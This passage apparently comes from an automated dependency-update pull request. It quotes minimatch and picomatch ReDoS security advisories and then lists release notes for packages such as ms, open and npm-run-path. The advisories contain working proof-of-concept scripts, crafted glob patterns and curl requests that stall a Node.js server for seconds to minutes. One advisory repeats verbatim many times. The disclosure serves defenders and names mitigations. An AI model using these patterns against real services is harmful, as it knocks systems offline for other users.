"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ€” exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

๐Ÿšจ minimatch ReDoS vulnerability

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Commits

See the full diff on Github. The new version differs by 5 commits:

โ†—๏ธ ms (indirect, 2.1.2 โ†’ 2.1.3) ยท Repo

Release Notes

2.1.3

Patches

  • Rename zeit to vercel: #151
  • Bump eslint from 4.12.1 to 4.18.2: #122
  • Add prettier as a dev dependency: #135 #153
  • Use GitHub Actions CI: #154

Credits

Huge thanks to @getsnoopy for helping!

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits:

โ†—๏ธ node-releases (indirect, 1.1.73 โ†’ 2.0.48) ยท Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ npm-run-path (indirect, 4.0.1 โ†’ 6.0.0) ยท Repo

Release Notes

6.0.0

Breaking

Improvements

v5.3.0...v6.0.0

5.3.0

  • Add preferLocal and addExecaPath options (#18) 09419af

v5.2.0...v5.3.0

5.2.0

v5.1.0...v5.2.0

5.1.0

v5.0.1...v5.1.0

5.0.1

v5.0.0...v5.0.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

โ†—๏ธ open (indirect, 7.4.2 โ†’ 11.0.0) ยท Repo

Release Notes

11.0.0

Breaking

Improvements

  • Automatically detect whether PowerShell is accessible in WSL 67109f8
  • Add chromium-browser fallback for Linux b40f4b8
  • Throw AggregateError instead of only latest error (#364) 2778ac6

Fixes

  • Fix app launch failure detection for fallback support ce31b94
  • Fix WSL access via remote SSH 8821bf7
  • Fix handling of import.meta.url not being available 8ce0f7d
  • Fix: Suppress PowerShell progress messages on Windows 2283000
  • Fix: Ignore stdio on Windows when not waiting for process e1af0ee
  • Fix WSL2 local file opening 269b5fd
  • Fix spawn handling 966239c
  • Fix PowerShell argument escaping 274d704

v10.2.0...v11.0.0

10.2.0


v10.1.2...v10.2.0

10.1.2

  • Fix detection of Windows default browser from WSL (#358) 6187a82

v10.1.1...v10.1.2

10.1.1

  • Fix: Use correct bundle ID for Microsoft Edge (#356) 55537f1

v10.1.0...v10.1.1

10.1.0

v10.0.4...v10.1.0

10.0.4

  • Fix support for passing predefined app to openApp() (#335) d9e7422

v10.0.3...v10.0.4

10.0.3

v10.0.2...v10.0.3

10.0.2

v10.0.1...v10.0.2

10.0.1

  • Add Windows environment variable fallback for some broken systems (#328) 8e69be4

v10.0.0...v10.0.1

10.0.0

Breaking

v9.1.0...v10.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ open-editor (indirect, 3.0.0 โ†’ 6.0.0) ยท Repo

Release Notes

6.0.0

Breaking

Improvements


v5.1.0...v6.0.0

5.1.0

v5.0.0...v5.1.0

5.0.0

Breaking

Improvements

v4.1.1...v5.0.0

4.1.1

v4.1.0...v4.1.1

4.1.0

v4.0.0...v4.1.0

4.0.0

Breaking

  • Require Node.js 12.20 053506d
  • This package is now pure ESM. Please read this.
  • openEditor.make moved to a named export called getEditorInfo.
  • The EditorRunConfig TypeScript type was renamed to EditorInfo.

v3.0.0...v4.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

โ†—๏ธ optionator (indirect, 0.9.1 โ†’ 0.9.4) ยท Repo ยท Changelog

โ†—๏ธ path-exists (indirect, 4.0.0 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Breaking

v4.0.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ picomatch (indirect, 2.3.0 โ†’ 4.0.4) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Picomatch has a ReDoS vulnerability via extglob quantifiers

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

